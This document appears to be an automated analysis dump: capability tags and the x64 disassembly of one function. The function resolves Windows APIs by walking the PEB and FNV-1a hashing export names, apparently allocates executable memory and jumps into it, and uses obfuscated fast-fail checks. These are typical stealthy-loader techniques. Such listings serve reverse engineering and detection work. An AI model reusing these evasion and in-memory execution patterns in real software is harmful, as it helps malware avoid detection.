Function at 0x14016c488
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140290440]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r10, qword [0x1417185b8]
mov edi, 1
mov r14d, 0x811c9dc5
test r10, r10
jne 0x14016c62c
xor esi, esi
mov r15d, 0x3285501
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r10, r13
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14016c530
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r14d
jmp 0x14016c523
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14016c514
cmp edx, esi
jne 0x14016c60c
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x14016c60c
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14016c60c
mov edx, dword [r9 + 0x20]
dec r11d
mov ecx, r11d
mov qword [rsp + 0x38], rcx
lea rcx, [rdx + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r12d, r14d
jmp 0x14016c58c
movsx ecx, cl
xor ecx, r12d
imul r12d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rdi
test cl, cl
jne 0x14016c57f
cmp r12d, r15d
je 0x14016c5a5
test r11d, r11d
mov edx, dword [r9 + 0x20]
jne 0x14016c564
jmp 0x14016c60c
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
mov r10, qword [rsp + 0x38]
movzx ecx, word [rcx + r10*2]
mov r10d, dword [rdx + rcx*4]
add r10, r8
cmp r10, r9
jbe 0x14016c625
lea rcx, [rax + r9]
cmp r10, rcx
jae 0x14016c625
mov esi, r14d
mov r15d, r14d
jmp 0x14016c5e8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
cmp al, 0x2e
jne 0x14016c5da
jmp 0x14016c5fe
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x14016c5f1
mov r10, qword [r13]
mov rax, qword [r10]
mov r10, rax
cmp rax, r13
je 0x14016c622
cmp qword [rax + 0x30], 0
jne 0x14016c4ea
xor r10d, r10d
mov qword [0x1417185b8], r10
mov edx, 0x2000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call r10
mov qword [rsp + 0x38], rax
lea rsi, [rax + 0xffa]
mov qword [rsp + 0x28], rsi
mov r9, qword [0x1417185b0]
test r9, r9
jne 0x14016c7c5
xor esi, esi
mov r12d, 0xa45cec64
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rax
mov r9, rax
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14016c6cb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r14d
jmp 0x14016c6be
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14016c6af
cmp edx, esi
jne 0x14016c79e
mov r8, qword [r9 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14016c79e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14016c79e
mov ecx, dword [r10 + 0x20]
dec r11d
lea rcx, [rcx + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r15d, r14d
jmp 0x14016c71f
movsx ecx, cl
xor ecx, r15d
imul r15d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rdi
test cl, cl
jne 0x14016c712
cmp r15d, r12d
je 0x14016c738
test r11d, r11d
mov ecx, dword [r10 + 0x20]
jne 0x14016c6ff
jmp 0x14016c79e
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14016c7b9
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14016c7b9
mov esi, r14d
mov r12d, r14d
jmp 0x14016c776
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
cmp al, 0x2e
jne 0x14016c768
jmp 0x14016c78c
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
test al, al
jne 0x14016c77f
mov rax, qword [rsp + 0x20]
mov r9, qword [rax]
mov rax, qword [r9]
mov r9, rax
cmp rax, qword [rsp + 0x20]
je 0x14016c7b6
cmp qword [rax + 0x30], 0
jne 0x14016c685
xor r9d, r9d
mov qword [0x1417185b0], r9
mov rsi, qword [rsp + 0x28]
mov r8d, 6
lea rdx, [0x140290008]
mov rcx, rsi
call r9
mov rax, qword [rsp + 0x38]
add rax, 0x1000
mov qword [rsp + 0x48], rax
mov r9, qword [0x1417185a8]
test r9, r9
jne 0x14016c95c
xor esi, esi
mov r12d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, rax
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14016c862
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r14d
jmp 0x14016c855
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14016c846
cmp edx, esi
jne 0x14016c935
mov r8, qword [r9 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14016c935
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14016c935
mov ecx, dword [r10 + 0x20]
dec r11d
lea rcx, [rcx + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r15d, r14d
jmp 0x14016c8b6
movsx ecx, cl
xor ecx, r15d
imul r15d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rdi
test cl, cl
jne 0x14016c8a9
cmp r15d, r12d
je 0x14016c8cf
test r11d, r11d
mov ecx, dword [r10 + 0x20]
jne 0x14016c896
jmp 0x14016c935
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14016c950
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14016c950
mov esi, r14d
mov r12d, r14d
jmp 0x14016c90d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
cmp al, 0x2e
jne 0x14016c8ff
jmp 0x14016c923
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
test al, al
jne 0x14016c916
mov rax, qword [rsp + 0x20]
mov r9, qword [rax]
mov rax, qword [r9]
mov r9, rax
cmp rax, qword [rsp + 0x20]
je 0x14016c94d
cmp qword [rax + 0x30], 0
jne 0x14016c81c
xor r9d, r9d
mov qword [0x1417185a8], r9
mov rsi, qword [rsp + 0x28]
mov r13d, 0xaae02ba9
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
or rcx, 0xffffffffffffffff
call r9
nop
call rsi
jmp 0x14016c98a
mov r9, qword [0x1417185a8]
test r9, r9
jne 0x14016caf3
xor esi, esi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r8, rax
movups xmm0, xmmword [r8 + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14016c9fe
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r14d
jmp 0x14016c9f1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14016c9e2
cmp edx, esi
jne 0x14016cad1
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14016cad1
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14016cad1
mov ecx, dword [r11 + 0x20]
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r15d, r14d
jmp 0x14016ca52
movsx ecx, cl
xor ecx, r15d
imul r15d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rdi
test cl, cl
jne 0x14016ca45
cmp r15d, r13d
je 0x14016ca6b
test r9d, r9d
mov ecx, dword [r11 + 0x20]
jne 0x14016ca32
jmp 0x14016cad1
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14016caec
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14016caec
mov esi, r14d
mov r13d, r14d
jmp 0x14016caa9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
cmp al, 0x2e
jne 0x14016ca9b
jmp 0x14016cabf
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
test al, al
jne 0x14016cab2
mov rax, qword [rsp + 0x20]
mov r8, qword [rax]
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rsp + 0x20]
je 0x14016cae9
cmp qword [rax + 0x30], 0
jne 0x14016c9b8
xor r9d, r9d
mov qword [0x1417185a8], r9
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
or rcx, 0xffffffffffffffff
call r9
call fcn.140167c78
movsx esi, al
call fcn.140167c74
movsx ecx, al
imul esi, ecx
call fcn.140167c84
movsx r15d, al
mov dword [rsp + 0x20], r15d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r15d
lea eax, [rax + rsi*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016ce32
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
sub ecx, dword [0x140290008]
jne 0x14016cb69
movzx ecx, word [rax + 4]
movzx eax, word [0x14029000c]
sub ecx, eax
xor eax, eax
test ecx, ecx
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
imul ecx, esi, 7
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add ecx, r15d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016cc0a
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14016cc0a
mov dword [rsp + 0x28], edi
lea r9d, [rsi + rsi*8]
jmp 0x14016cc6b
lea r9d, [rsi + rsi*8]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r9d
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016cc6b
lea ecx, [rsi + r15]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + rsi*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si eax, xmm0
mov dword [rsp + 0x28], eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r9d
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rsp + 0x28]
test eax, eax
je 0x14016ce32
mov rdx, qword [0x1417184d0]
mov r13d, 0xcded1a85
mov dword [rsp + 0x28], r13d
test rdx, rdx
jne 0x14016ce20
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov r8, rax
movups xmm0, xmmword [r8 + 0x58]
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14016cd1b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r14d
jmp 0x14016cd0d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14016ccfe
cmp edx, r15d
jne 0x14016cdfa
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14016cdfa
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14016cdfa
mov edx, dword [r10 + 0x20]
dec r11d
mov ecx, r11d
mov qword [rsp + 0x40], rcx
lea rcx, [r9 + r11*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r12d, r14d
jmp 0x14016cd76
movsx ecx, cl
xor ecx, r12d
imul r12d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rdi
test cl, cl
jne 0x14016cd69
cmp r12d, r13d
je 0x14016cd8f
test r11d, r11d
mov edx, dword [r10 + 0x20]
jne 0x14016cd4f
jmp 0x14016cdfa
mov edx, dword [r10 + 0x24]
add rdx, r9
mov rcx, qword [rsp + 0x40]
movzx r8d, word [rdx + rcx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14016ce14
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14016ce14
mov r15d, r14d
mov r13d, r14d
jmp 0x14016cdd4
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, rdi
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14016cdc4
jmp 0x14016cde9
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add rdx, rdi
mov al, byte [rdx]
test al, al
jne 0x14016cddc
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rsp + 0x30]
je 0x14016ce12
cmp qword [rax + 0x30], 0
jne 0x14016ccd3
xor edx, edx
mov qword [0x1417184d0], rdx
mov r15d, dword [rsp + 0x20]
mov r12d, 0x992b
mov ecx, r12d
call rdx
mov ecx, r12d
int 0x29
jmp 0x14016ce43
mov r13d, 0xcded1a85
mov dword [rsp + 0x28], r13d
mov r12d, 0x992b
lea r9d, [rsi + rsi*8]
add r9d, r15d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016d140
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, qword [rsp + 0x50]
and rax, rdi
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
imul ecx, esi, 7
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add ecx, r15d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016cf0c
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14016cf0c
mov dword [rsp + 0x20], edi
jmp 0x14016cf81
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14016cf81
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x40]
cvttsd2si eax, xmm0
mov dword [rsp + 0x20], eax
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rsp + 0x20]
test eax, eax
je 0x14016d140
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x14016d136
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r9, r13
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14016d03e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r14d
jmp 0x14016d030
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14016d021
cmp edx, r15d
jne 0x14016d117
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14016d117
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x14016d117
mov r8d, dword [r11 + 0x20]
dec esi
lea rdx, [r10 + rsi*4]
mov r8d, dword [rdx + r8]
add r8, r10
mov edx, r14d
jmp 0x14016d08e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, rdi
test cl, cl
jne 0x14016d083
cmp edx, dword [rsp + 0x28]
je 0x14016d0a8
test esi, esi
mov r8d, dword [r11 + 0x20]
jne 0x14016d071
jmp 0x14016d117
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + rsi*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x14016d12f
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14016d12f
mov r15d, r14d
mov ecx, r14d
mov dword [rsp + 0x28], ecx
jmp 0x14016d0ec
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, rdi
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14016d0dc
add rdx, rdi
mov al, byte [rdx]
test al, al
je 0x14016d113
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, rdi
mov al, byte [rdx]
test al, al
jne 0x14016d0fb
mov dword [rsp + 0x28], ecx
mov r9, qword [r13]
mov rax, qword [r9]
mov r9, rax
cmp rax, r13
je 0x14016d12d
cmp qword [rax + 0x30], 0
jne 0x14016cff6
xor edx, edx
mov qword [0x1417184d0], rdx
mov ecx, r12d
call rdx
mov rcx, r12
int 0x29
mov r9, qword [0x1417185a0]
test r9, r9
jne 0x14016d2a5
xor r15d, r15d
mov r12d, 0x3a9acc72
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r9, r13
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14016d1b8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r14d
jmp 0x14016d1aa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14016d19b
cmp edx, r15d
jne 0x14016d285
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14016d285
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x14016d285
mov edx, dword [r11 + 0x20]
dec esi
lea rdx, [rdx + rsi*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, r14d
jmp 0x14016d208
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, rdi
test cl, cl
jne 0x14016d1fd
cmp edx, r12d
je 0x14016d221
test esi, esi
mov edx, dword [r11 + 0x20]
jne 0x14016d1eb
jmp 0x14016d285
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + rsi*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r9*4]
add r9, r10
cmp r9, r11
jbe 0x14016d29e
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14016d29e
mov r15d, r14d
mov r12d, r14d
jmp 0x14016d261
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
cmp al, 0x2e
jne 0x14016d251
jmp 0x14016d277
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add r9, rdi
mov al, byte [r9]
test al, al
jne 0x14016d26a
mov r9, qword [r13]
mov rax, qword [r9]
mov r9, rax
cmp rax, r13
je 0x14016d29b
cmp qword [rax + 0x30], 0
jne 0x14016d170
xor r9d, r9d
mov qword [0x1417185a0], r9
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rsp + 0x38]
call r9
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1401dad40
lea r11, [rsp + 0x60]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret